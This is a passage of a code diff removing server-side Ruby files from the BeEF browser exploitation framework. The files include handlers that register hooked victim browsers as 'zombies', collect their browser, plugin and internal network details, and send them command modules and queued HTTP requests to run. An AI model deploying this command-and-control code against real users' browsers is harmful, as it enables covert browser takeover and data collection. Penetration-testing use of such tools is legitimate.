@http_params = @data['request'].query # used to populate datastore
|
||||
@http_header = @data['request'].header # used to populate datastore
|
||||
@http_header['referer'] ||= '' # used to populate datastore
|
||||
|
||||
# get and check command id from the request
|
||||
command_id = get_param(@data, 'cid')
|
||||
# ruby filter needs to be updated to detect fixnums not strings
|
||||
command_id = command_id.to_s()
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_id is invalid" if not BeEF::Filter.is_valid_command_id?(command_id.to_s())
|
||||
|
||||
# get and check session id from the request
|
||||
beefhook = get_param(@data, 'beefhook')
|
||||
raise WEBrick::HTTPStatus::BadRequest, "beefhook is invalid" if not BeEF::Filter.is_valid_hook_session_id?(beefhook)
|
||||
|
||||
@guard.synchronize {
|
||||
# create the command module to handle the response
|
||||
command = @kclass.new # create the commamd module
|
||||
command.build_callback_datastore(@http_params, @http_header) # build datastore from the response
|
||||
command.session_id = beefhook
|
||||
command.callback # call the command module's callback function - it will parse and save the results
|
||||
|
||||
# get/set details for datastore and log entry
|
||||
command_friendly_name = command.friendlyname
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command friendly name empty" if command_friendly_name.empty?
|
||||
command_results = get_param(@data, 'results')
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command results empty" if command_results.empty?
|
||||
# save the command module results to the datastore and create a log entry
|
||||
command_results = {'type' => command_results.class, 'data' => command_results}
|
||||
BeEF::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results)
|
||||
}
|
||||
end
|
||||
|
||||
def get_param(query, key)
|
||||
return (query.class == Hash and query.has_key?(key)) ? query[key] : nil
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
@@ -1,90 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
#DynamicHanlder is used reconstruct segmented traffic from the zombies
|
||||
|
||||
class DynamicHandler < WEBrick::HTTPServlet::AbstractServlet
|
||||
|
||||
attr_reader :guard
|
||||
|
||||
#holds packet queue
|
||||
PQ = Array.new()
|
||||
|
||||
#obtain dynamic mount points from HttpHookServer
|
||||
MOUNTS = BeEF::HttpHookServer.instance.mounts
|
||||
|
||||
#Combines packet information and pushes to PQ, then checks packets
|
||||
def do_POST(request, response)
|
||||
@request = request
|
||||
response.body = ''
|
||||
PQ << {
|
||||
:beefhook => get_param(@request.query, 'bh'),
|
||||
:stream_id => Integer(get_param(@request.query, 'sid')),
|
||||
:packet_id => Integer(get_param(@request.query, 'pid')),
|
||||
:packet_count => Integer(get_param(@request.query, 'pc')),
|
||||
:data => get_param(@request.query, 'd')
|
||||
}
|
||||
check_packets()
|
||||
end
|
||||
|
||||
alias do_GET do_POST
|
||||
|
||||
#check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets
|
||||
def check_packets()
|
||||
checked = Array.new()
|
||||
PQ.each do |packet|
|
||||
if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id])))
|
||||
next
|
||||
end
|
||||
checked << packet[:beefhook]+':'+String(packet[:stream_id])
|
||||
pc = 0
|
||||
PQ.each do |p|
|
||||
if (packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id])
|
||||
pc += 1
|
||||
end
|
||||
end
|
||||
if (packet[:packet_count] == pc)
|
||||
#better way than sorting the entire array?
|
||||
PQ.sort_by { |s| s[:packet_id] }
|
||||
data = ''
|
||||
PQ.each_with_index do |sp,i|
|
||||
if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id])
|
||||
data += sp[:data]
|
||||
end
|
||||
end
|
||||
|
||||
data = JSON.parse(Base64.decode64(data)).first
|
||||
data['beefhook'] = packet[:beefhook]
|
||||
data['request'] = @request
|
||||
data['beefsession'] = @request.get_hook_session_id()
|
||||
expunge(packet[:beefhook], packet[:stream_id])
|
||||
execute(data)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#delete packets that have been reconstructed
|
||||
def expunge(beefhook, stream_id)
|
||||
PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
|
||||
end
|
||||
|
||||
#execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler
|
||||
def execute(data)
|
||||
handler = get_param(data, 'handler')
|
||||
if (MOUNTS.has_key?(handler))
|
||||
if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2)
|
||||
MOUNTS[handler][0].new(data, MOUNTS[handler][1])
|
||||
else
|
||||
MOUNTS[handler].new(data)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#assist function for getting parameter from hash
|
||||
def get_param(query, key)
|
||||
return nil if query[key].nil?
|
||||
query[key]
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,59 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# The http handler that manages the Events.
|
||||
#
|
||||
class EventHandler < WEBrick::HTTPServlet::AbstractServlet
|
||||
|
||||
attr_reader :guard
|
||||
|
||||
H = BeEF::Models::Http
|
||||
Z = BeEF::Models::Zombie
|
||||
|
||||
#
|
||||
# Class constructor
|
||||
#
|
||||
def initialize(config)
|
||||
# we set up a mutex
|
||||
@guard = Mutex.new
|
||||
end
|
||||
|
||||
#
|
||||
# This function receives any POST http requests. We only
|
||||
# allow the hooked browser to send back results using POST.
|
||||
#
|
||||
def do_POST(request, response)
|
||||
@params = request.query
|
||||
|
||||
# validates the hook token
|
||||
#beef_hook = request.query['BEEFHOOK'] || nil
|
||||
beef_hook = request.get_hook_session_id()
|
||||
raise WEBrick::HTTPStatus::BadRequest, "beef_hook is null" if beef_hook.nil?
|
||||
|
||||
# validates that a hooked browser with the beef_hook token exists in the db
|
||||
zombie = Z.first(:session => beef_hook) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid beef hook id: the hooked browser cannot be found in the database" if zombie.nil?
|
||||
|
||||
#event_string = request.query['event_string'] || nil
|
||||
#raise WEBrick::HTTPStatus::BadRequest, "event_string is null" if event_string.nil?
|
||||
|
||||
@params.each{|k,v|
|
||||
if k[0..5] == "stream"
|
||||
BeEF::Logger.instance.register('Event', v, zombie.id)
|
||||
end
|
||||
}
|
||||
|
||||
#BeEF::Logger.instance.register('Zombie', "#{zombie.ip}: #{event_string}", "#{zombie.id}")
|
||||
|
||||
response.set_no_cache()
|
||||
response.header['Content-Type'] = 'text/javascript'
|
||||
response.header['Access-Control-Allow-Origin'] = '*'
|
||||
response.header['Access-Control-Allow-Methods'] = 'POST'
|
||||
response.body = ''
|
||||
end
|
||||
|
||||
alias do_GET do_POST
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,21 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# Custom FileHandler to deal with tracked files
|
||||
#
|
||||
class FileHandler < WEBrick::HTTPServlet::FileHandler
|
||||
|
||||
#
|
||||
# Override to do_GET to check tracked files
|
||||
#
|
||||
def do_GET(req, res)
|
||||
if not BeEF::AssetHandler.instance.check(req.path)
|
||||
raise HTPPStatus::NotFound, "`#req.path}` not found."
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,96 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# Handle HTTP requests and call the relevant functions in the derived classes
|
||||
#
|
||||
class HttpController
|
||||
|
||||
attr_accessor :headers, :status, :body, :paths, :currentuser, :params
|
||||
|
||||
C = BeEF::Models::Command
|
||||
CM = BeEF::Models::CommandModule
|
||||
Z = BeEF::Models::Zombie
|
||||
|
||||
#
|
||||
# Class constructor. Takes data from the child class and populates itself with it.
|
||||
#
|
||||
def initialize(data = {})
|
||||
@erubis = nil
|
||||
@status = 200 if data['status'].nil?
|
||||
|
||||
@headers = {'Content-Type' => 'text/html; charset=UTF-8'} if data['headers'].nil?
|
||||
|
||||
if data['paths'].nil? and self.methods.include? "index"
|
||||
@paths = {'index' => '/'}
|
||||
else
|
||||
@paths = data['paths']
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Handle HTTP requests and call the relevant functions in the derived classes
|
||||
#
|
||||
def run(request, response)
|
||||
@request = request
|
||||
@params = request.query
|
||||
@session = BeEF::UI::Session.instance
|
||||
auth_url = '/ui/authentication'
|
||||
|
||||
# test if session is unauth'd and whether the auth functionality is requested
|
||||
if not @session.valid_session?(@request) and not self.class.eql?(BeEF::UI::Authentication)
|
||||
@body = page_redirect(auth_url) # redirect to auth page
|
||||
return
|
||||
end
|
||||
|
||||
# get the mapped function (if it exists) from the derived class
|
||||
path = request.path_info
|
||||
raise WEBrick::HTTPStatus::BadRequest, "path is invalid" if not Filter::is_valid_path_info?(path)
|
||||
function = @paths[path] || @paths[path + '/'] # check hash for '<path>' and '<path>/'
|
||||
raise WEBrick::HTTPStatus::BadRequest, "path does not exist" if function.nil?
|
||||
|
||||
# call the relevant mapped function
|
||||
function.call
|
||||
|
||||
# build the template filename and apply it - if the file exists
|
||||
function_name = function.name # used for filename
|
||||
class_s = self.class.to_s.sub('BeEF::UI::', '').downcase # used for directory name
|
||||
template_ui = "#{$root_dir}/lib/ui/#{class_s}/#{function_name}.html"
|
||||
@eruby = Erubis::FastEruby.new(File.read(template_ui)) if File.exists? template_ui # load the template file
|
||||
@body = @eruby.result(binding()) if not @eruby.nil? # apply template and set the response
|
||||
|
||||
# set content type
|
||||
if @headers['Content-Type'].nil?
|
||||
@headers['Content-Type']='text/html; charset=UTF-8' # default content and charset type for all pages
|
||||
@headers['Content-Type']='application/json; charset=UTF-8' if request.path =~ /.json$/
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Constructs a redirect page
|
||||
def page_redirect(location) "<html><head></head><body>" + script_redirect(location) + "</body>" end
|
||||
|
||||
# Constructs a redirect script
|
||||
def script_redirect(location) "<script> document.location=\"#{location}\"</script>" end
|
||||
|
||||
# Constructs a html script tag
|
||||
def script_tag(filename) "<script src=\"#{$url}/ui/public/javascript/#{filename}\" type=\"text/javascript\"></script>" end
|
||||
|
||||
# Constructs a html stylesheet tag
|
||||
def stylesheet_tag(filename) "<link rel=\"stylesheet\" href=\"#{$url}/ui/public/css/#{filename}\" type=\"text/css\" />" end
|
||||
|
||||
# Constructs a hidden html nonce tag
|
||||
def nonce_tag
|
||||
@session = BeEF::UI::Session.instance
|
||||
"<input type=\"hidden\" name=\"nonce\" id=\"nonce\" value=\"" + @session.get_nonce + "\"/>"
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@eruby
|
||||
|
||||
# Unescapes a URL-encoded string.
|
||||
def unescape(s); s.tr('+', ' ').gsub(/%([\da-f]{2})/in){[$1].pack('H*')} end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,38 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
class HttpHandler < WEBrick::HTTPServlet::AbstractServlet
|
||||
|
||||
attr_reader :guard
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
def initialize(config, klass)
|
||||
super
|
||||
@guard = Mutex.new
|
||||
@klass = BeEF::UI.const_get(klass.to_s.capitalize)
|
||||
end
|
||||
|
||||
def do_GET(request, response)
|
||||
@request = request
|
||||
@response = response
|
||||
|
||||
controller = nil
|
||||
@guard.synchronize {
|
||||
controller = @klass.new
|
||||
controller.run(@request, @response)
|
||||
}
|
||||
|
||||
response.header.replace(controller.headers)
|
||||
response.body = controller.body.to_s
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@request
|
||||
@response
|
||||
|
||||
alias do_POST do_GET
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,153 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# Class defining the BeEF http server.
|
||||
#
|
||||
class HttpHookServer
|
||||
|
||||
# call BeEF::Server.instance
|
||||
include Singleton
|
||||
|
||||
VERSION = BeEF::Configuration.instance.get('beef_version')
|
||||
|
||||
attr_reader :root_dir, :url, :configuration, :command_urls, :mounts
|
||||
|
||||
def initialize
|
||||
@configuration = BeEF::Configuration.instance
|
||||
beef_host = @configuration.get("http_public") || @configuration.get("http_host")
|
||||
@url = "http://#{beef_host}:#{@configuration.get("http_port")}"
|
||||
@root_dir = File.expand_path('../../../', __FILE__)
|
||||
@command_urls = {}
|
||||
@mounts = {}
|
||||
end
|
||||
|
||||
#
|
||||
# Returns all server variables in a hash. Useful for Erubis when
|
||||
# generating the javascript for the command modules and hooking.
|
||||
#
|
||||
def to_h
|
||||
{
|
||||
'beef_version' => VERSION,
|
||||
'beef_url' => @url,
|
||||
'beef_root_dir' => @root_dir,
|
||||
'beef_host' => BeEF::Configuration.instance.get('http_host'),
|
||||
'beef_port' => BeEF::Configuration.instance.get('http_port'),
|
||||
'beef_dns' => BeEF::Configuration.instance.get('http_dns'),
|
||||
'beef_hook' => BeEF::Configuration.instance.get('hook_file')
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
def register_command_url(command_path, uri)
|
||||
end
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
def get_command_url(command_path)
|
||||
if not @command_urls[command_path].nil? then return @command_urls[command_path]; else return command_path; end
|
||||
end
|
||||
|
||||
#
|
||||
# Starts the BeEF http server.
|
||||
#
|
||||
def start
|
||||
if not @http_server
|
||||
config = {}
|
||||
config[:BindAddress] = @configuration.get('http_host')
|
||||
config[:Port] = @configuration.get('http_port')
|
||||
config[:Logger] = WEBrick::Log.new($stdout, WEBrick::Log::ERROR)
|
||||
config[:ServerName] = "BeEF " + VERSION
|
||||
config[:ServerSoftware] = "BeEF " + VERSION
|
||||
|
||||
@http_server = WEBrick::HTTPServer.new(config)
|
||||
@asset_handler = BeEF::AssetHandler.instance
|
||||
|
||||
# registers the ui pages
|
||||
Dir["#{$root_dir}/lib/ui/**/*.rb"].each { |http_module|
|
||||
require http_module
|
||||
mod_name = File.basename http_module, '.rb'
|
||||
mount("/ui/#{mod_name}", true, BeEF::HttpHandler, mod_name)
|
||||
}
|
||||
|
||||
# registers the hook page
|
||||
mount("#{@configuration.get("hook_file")}", true, BeEF::ZombieHandler)
|
||||
mount('/ui/public', true, BeEF::PublicHandler, "#{root_dir}/public")
|
||||
mount('/favicon.ico', true, WEBrick::HTTPServlet::FileHandler, "#{root_dir}#{@configuration.get("favicon_dir")}/#{@configuration.get("favicon_file_name")}")
|
||||
mount('/demos/', true, WEBrick::HTTPServlet::FileHandler, "#{root_dir}/demos/")
|
||||
|
||||
#dynamic handler
|
||||
mount('/dh', true, BeEF::DynamicHandler)
|
||||
|
||||
#register mounts handled by dynamic handler
|
||||
mount('/init', false, BeEF::InitHandler)
|
||||
mount('/event', false, BeEF::EventHandler)
|
||||
mount('/requester', false, BeEF::RequesterHandler)
|
||||
|
||||
# registers the command module pages
|
||||
Dir["#{root_dir}/modules/commands/**/*.rb"].each { |command|
|
||||
command_class = (File.basename command, '.rb').capitalize
|
||||
command_file = (File.basename command, '.rb')+'.js'
|
||||
mount("/command/#{command_file}", false, BeEF::CommandHandler, command_class)
|
||||
}
|
||||
|
||||
trap("INT") { BeEF::HttpHookServer.instance.stop }
|
||||
|
||||
@http_server.start
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Stops the BeEF http server.
|
||||
#
|
||||
def stop;
|
||||
if @http_server
|
||||
@http_server.shutdown
|
||||
puts ' --[ BeEF server stopped'
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Restarts the BeEF http server.
|
||||
#
|
||||
def restart; stop; start; end
|
||||
|
||||
#
|
||||
# Mounts a handler, can either be a hard or soft mount (soft mounts are handled by the command handler
|
||||
#
|
||||
def mount(url, hard, c, args = nil)
|
||||
if hard
|
||||
if args == nil
|
||||
@http_server.mount url, c
|
||||
else
|
||||
@http_server.mount url, c, *args
|
||||
end
|
||||
else
|
||||
if args == nil
|
||||
mounts[url] = c
|
||||
else
|
||||
mounts[url] = c, *args
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Unmounts handler
|
||||
#
|
||||
def unmount(url, hard)
|
||||
if hard
|
||||
@http_server.umount(url)
|
||||
else
|
||||
mounts.delete(url)
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
@http_server
|
||||
@asset_handler
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,95 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# The http handler that manages the return of the initial browser details.
|
||||
#
|
||||
class InitHandler
|
||||
|
||||
attr_reader :guard
|
||||
@data = {}
|
||||
|
||||
HB = BeEF::Models::Zombie
|
||||
BD = BeEF::Models::BrowserDetails
|
||||
|
||||
def initialize(data)
|
||||
@guard = Mutex.new
|
||||
@data = data
|
||||
setup()
|
||||
end
|
||||
|
||||
def setup()
|
||||
# validate hook session value
|
||||
session_id = get_param(@data, 'beefhook')
|
||||
raise WEBrick::HTTPStatus::BadRequest, "session id is invalid" if not Filter.is_valid_hook_session_id?(session_id)
|
||||
hooked_browser = HB.first(:session => session_id)
|
||||
return if not hooked_browser.nil? # browser is already registered with framework
|
||||
|
||||
# create the structure repesenting the hooked browser
|
||||
zombie = BeEF::Models::Zombie.new(:ip => @data['request'].peeraddr[3], :session => session_id)
|
||||
zombie.firstseen = Time.new.to_i
|
||||
zombie.httpheaders = @data['request'].header.to_json
|
||||
@guard.synchronize {
|
||||
zombie.save # the save needs to be conducted before any hooked browser specific logging
|
||||
}
|
||||
|
||||
# add a log entry for the newly hooked browser
|
||||
log_zombie_domain = zombie.domain
|
||||
log_zombie_domain = "(blank)" if log_zombie_domain.nil? or log_zombie_domain.empty?
|
||||
BeEF::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}", "#{zombie.id}")
|
||||
# get and store browser name
|
||||
browser_name = get_param(@data['results'], 'BrowserName')
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid browser name" if not Filter.is_valid_browsername?(browser_name)
|
||||
BD.set(session_id, 'BrowserName', browser_name)
|
||||
|
||||
# get and store browser version
|
||||
browser_version = get_param(@data['results'], 'BrowserVersion')
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid browser version" if not Filter.is_valid_browserversion?(browser_version)
|
||||
BD.set(session_id, 'BrowserVersion', browser_version)
|
||||
|
||||
# get and store browser string
|
||||
browser_string = get_param(@data['results'], 'BrowserReportedName')
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid browser browser string" if not Filter.is_valid_browserstring?(browser_string)
|
||||
BD.set(session_id, 'BrowserReportedName', browser_string)
|
||||
|
||||
# get and store the os name
|
||||
os_name = get_param(@data['results'], 'OsName')
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid browser os name" if not Filter.is_valid_osname?(os_name)
|
||||
BD.set(session_id, 'OsName', os_name)
|
||||
|
||||
# get and store page title
|
||||
page_title = get_param(@data['results'], 'PageTitle')
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid page title name" if not Filter.is_valid_pagetitle?(page_title)
|
||||
BD.set(session_id, 'PageTitle', page_title)
|
||||
|
||||
# get and store page title
|
||||
host_name = get_param(@data['results'], 'HostName')
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid host name" if not Filter.is_valid_hostname?(host_name)
|
||||
BD.set(session_id, 'HostName', host_name)
|
||||
|
||||
# get and store the browser plugins
|
||||
browser_plugins = get_param(@data['results'], 'BrowserPlugins')
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid browser plugins" if not Filter.is_valid_browser_plugins?(browser_plugins)
|
||||
BD.set(session_id, 'BrowserPlugins', browser_plugins)
|
||||
|
||||
# get and store the internal ip address
|
||||
internal_ip = get_param(@data['results'], 'InternalIP')
|
||||
if not internal_ip.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid internal IP address" if not Filter.is_valid_ip?(internal_ip)
|
||||
BD.set(session_id, 'InternalIP', internal_ip)
|
||||
end
|
||||
|
||||
# get and store the internal hostname
|
||||
internal_hostname = get_param(@data['results'], 'InternalHostname')
|
||||
if not internal_hostname.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid internal host name" if not Filter.is_valid_hostname?(host_name)
|
||||
BD.set(session_id, 'InternalHostname', internal_hostname)
|
||||
end
|
||||
end
|
||||
|
||||
def get_param(query, key)
|
||||
return (query.class == Hash and query.has_key?(key)) ? query[key] : nil
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,142 +0,0 @@
|
||||
module BeEF
|
||||
module Server
|
||||
module Modules
|
||||
|
||||
#
|
||||
# Purpose: avoid rewriting several times the same code.
|
||||
#
|
||||
module Common
|
||||
|
||||
#
|
||||
# Builds the default beefjs library (all default components of the library).
|
||||
#
|
||||
# @param: {Object} the hook session id
|
||||
# @param: {Boolean} if the framework is already loaded in the hooked browser
|
||||
#
|
||||
def build_beefjs!(req_host)
|
||||
|
||||
# set up values required to construct beefjs
|
||||
beefjs = '' # init the beefjs string (to be sent as the beefjs file)
|
||||
beefjs_path = "#{$root_dir}/modules/beefjs/" # location of sub files
|
||||
js_sub_files = %w(lib/jquery-1.5.min.js lib/evercookie.js beef.js browser.js browser/cookie.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js)
|
||||
|
||||
# construct the beefjs string from file(s)
|
||||
js_sub_files.each {|js_sub_file_name|
|
||||
js_sub_file_abs_path = beefjs_path + js_sub_file_name # construct absolute path
|
||||
beefjs << (File.read(js_sub_file_abs_path) + "\n\n") # concat each js sub file
|
||||
}
|
||||
|
||||
# create the config for the hooked browser session
|
||||
config = BeEF::Configuration.instance
|
||||
hook_session_name = config.get('hook_session_name')
|
||||
hook_session_config = BeEF::HttpHookServer.instance.to_h
|
||||
|
||||
# if http_host="0.0.0.0" in config ini, use the host requested by client
|
||||
if hook_session_config['beef_host'].eql? "0.0.0.0"
|
||||
hook_session_config['beef_host'] = req_host
|
||||
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
|
||||
end
|
||||
|
||||
# populate place holders in the beefjs string and set the response body
|
||||
eruby = Erubis::FastEruby.new(beefjs)
|
||||
@body << eruby.evaluate(hook_session_config)
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Finds the path to js components
|
||||
#
|
||||
def find_beefjs_component_path(component)
|
||||
component_path = '/'+component
|
||||
component_path.gsub!(/beef./, '')
|
||||
component_path.gsub!(/\./, '/')
|
||||
component_path.replace "#{$root_dir}/modules/beefjs/#{component_path}.js"
|
||||
|
||||
return false if not File.exists? component_path
|
||||
|
||||
component_path
|
||||
end
|
||||
|
||||
#
|
||||
# Builds missing beefjs components.
|
||||
#
|
||||
# Ex: build_missing_beefjs_components(['beef.net.local', 'beef.net.requester'])
|
||||
#
|
||||
def build_missing_beefjs_components(beefjs_components)
|
||||
# verifies that @beef_js_cmps is not nil to avoid bugs
|
||||
@beef_js_cmps = '' if @beef_js_cmps.nil?
|
||||
|
||||
if beefjs_components.is_a? String
|
||||
beefjs_components_path = find_beefjs_component_path(beefjs_components)
|
||||
raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
|
||||
beefjs_components = {beefjs_components => beefjs_components_path}
|
||||
end
|
||||
|
||||
beefjs_components.keys.each {|k|
|
||||
next if @beef_js_cmps.include? beefjs_components[k]
|
||||
|
||||
# path to the component
|
||||
component_path = beefjs_components[k]
|
||||
|
||||
# we output the component to the hooked browser
|
||||
@body << File.read(component_path)+"\n\n"
|
||||
|
||||
# finally we add the component to the list of components already generated so it does not
|
||||
# get generated numerous times.
|
||||
if @beef_js_cmps.eql? ''
|
||||
@beef_js_cmps = component_path
|
||||
else
|
||||
@beef_js_cmps += ",#{component_path}"
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Adds the command module instructions to the http response.
|
||||
#
|
||||
def add_command_instructions(command, zombie)
|
||||
|
||||
raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if zombie.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "zombie.session is nil" if zombie.session.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if command.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "zombie.session is nil" if command.command_module_id.nil?
|
||||
|
||||
# get the command module
|
||||
command_module = BeEF::Models::CommandModule.first(:id => command.command_module_id)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module.path is nil" if command_module.path.nil?
|
||||
|
||||
klass = File.basename command_module.path, '.rb'
|
||||
|
||||
@guard.synchronize {
|
||||
command_module = BeEF::Modules::Commands.const_get(klass.capitalize).new
|
||||
command_module.command_id = command.id
|
||||
command_module.session_id = zombie.session
|
||||
command_module.build_datastore(command.data)
|
||||
command_module.pre_send
|
||||
|
||||
build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty?
|
||||
|
||||
@body << command_module.output + "\n\n"
|
||||
|
||||
puts "+ Hooked browser #{zombie.ip} sent command module #{klass}" if @cmd_opts[:verbose]
|
||||
|
||||
}
|
||||
|
||||
# flag that the command has been sent to the hooked browser
|
||||
command.instructions_sent = true
|
||||
command.save
|
||||
end
|
||||
|
||||
#
|
||||
# Executes every plugins in the framework.
|
||||
#
|
||||
def execute_plugins!
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,94 +0,0 @@
|
||||
module BeEF
|
||||
module Server
|
||||
module Modules
|
||||
|
||||
#
|
||||
# Module containing all the functions to run the Requester.
|
||||
#
|
||||
# That module is dependent on 'Common'. Hence to use it,
|
||||
# your code also needs to include that module.
|
||||
#
|
||||
module Requester
|
||||
|
||||
#
|
||||
# Runs the Requester
|
||||
#
|
||||
def requester_run(zombie)
|
||||
# we generate all the requests and output them to the hooked browser
|
||||
output = []
|
||||
BeEF::Models::Http.all(:zombie_id => zombie.id, :has_ran => false).each {|h|
|
||||
output << requester_parse_db_request(h)
|
||||
}
|
||||
|
||||
# we stop here of our output in empty, that means they aren't any requests to send
|
||||
return if output.empty?
|
||||
|
||||
# we build the beefjs requester component
|
||||
build_missing_beefjs_components 'beef.net.requester'
|
||||
|
||||
# we send the command to perform the requests to the hooked browser
|
||||
@body << %Q{
|
||||
beef.execute(function() {
|
||||
beef.net.requester.send(
|
||||
#{output.to_json}
|
||||
);
|
||||
});
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a HTTP DB Object into a BeEF JS command that
|
||||
# can be executed by the hooked browser.
|
||||
#
|
||||
def requester_parse_db_request(http_db_object)
|
||||
req = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP)
|
||||
params = nil
|
||||
|
||||
begin
|
||||
s = StringIO.new http_db_object.request
|
||||
req.parse(s)
|
||||
rescue Exception => e
|
||||
# if an exception is caught, we display it in the console but do not
|
||||
# stong beef from executing. That is because we do not want to stop
|
||||
# attacking the hooked browser because of a malformed request.
|
||||
puts e.message
|
||||
puts e.backtrace
|
||||
return
|
||||
end
|
||||
|
||||
# Handling post requests
|
||||
if not req['content-length'].nil? and req.content_length > 0
|
||||
params = []
|
||||
# if the content length is invalid, webrick crashes. Hence we try to catch any exception
|
||||
# here and continue execution.
|
||||
begin
|
||||
req.query.keys.each{|k| params << "#{k}=#{req.query[k]}"}
|
||||
params = params.join '&'
|
||||
rescue Exception => e
|
||||
puts e.message
|
||||
puts e.backtrace
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
# creating the request object
|
||||
http_request_object = {
|
||||
'id' => http_db_object.id,
|
||||
'method' => req.request_method,
|
||||
'host' => req.host,
|
||||
'port' => req.port,
|
||||
'params' => params,
|
||||
'uri' => req.unparsed_uri,
|
||||
'headers' => {}
|
||||
}
|
||||
|
||||
req.header.keys.each{|key| http_request_object['headers'][key] = req.header[key]}
|
||||
|
||||
http_request_object
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,21 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
class PublicHandler < WEBrick::HTTPServlet::FileHandler
|
||||
|
||||
def do_GET(req, res)
|
||||
super
|
||||
|
||||
# set content types
|
||||
res.header['content-type']='text/html' # default content type for all pages
|
||||
res.header['content-type']='text/javascript' if req.path =~ /.json$/
|
||||
res.header['content-type']='text/javascript' if req.path =~ /.js$/
|
||||
res.header['content-type']='text/css' if req.path =~ /.css$/
|
||||
res.header['content-type']='image/png' if req.path =~ /.png$/
|
||||
res.header['content-type']='image/gif' if req.path =~ /.gif$/
|
||||
res.header['content-type']='text/xml' if req.path =~ /.xml$/
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,57 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# The http handler that manages the Requester.
|
||||
#
|
||||
class RequesterHandler < WEBrick::HTTPServlet::AbstractServlet
|
||||
|
||||
attr_reader :guard
|
||||
|
||||
H = BeEF::Models::Http
|
||||
Z = BeEF::Models::Zombie
|
||||
|
||||
#
|
||||
# Class constructor
|
||||
#
|
||||
def initialize(data)
|
||||
@guard = Mutex.new
|
||||
@data = data
|
||||
setup()
|
||||
end
|
||||
|
||||
def setup()
|
||||
# validates the hook token
|
||||
beef_hook = @data['beefhook'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "beef_hook is null" if beef_hook.nil?
|
||||
# validates the request id
|
||||
request_id = @data['cid'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "request_id is null" if request_id.nil?
|
||||
|
||||
# validates that a hooked browser with the beef_hook token exists in the db
|
||||
zombie_db = Z.first(:session => beef_hook) || nil
|
||||
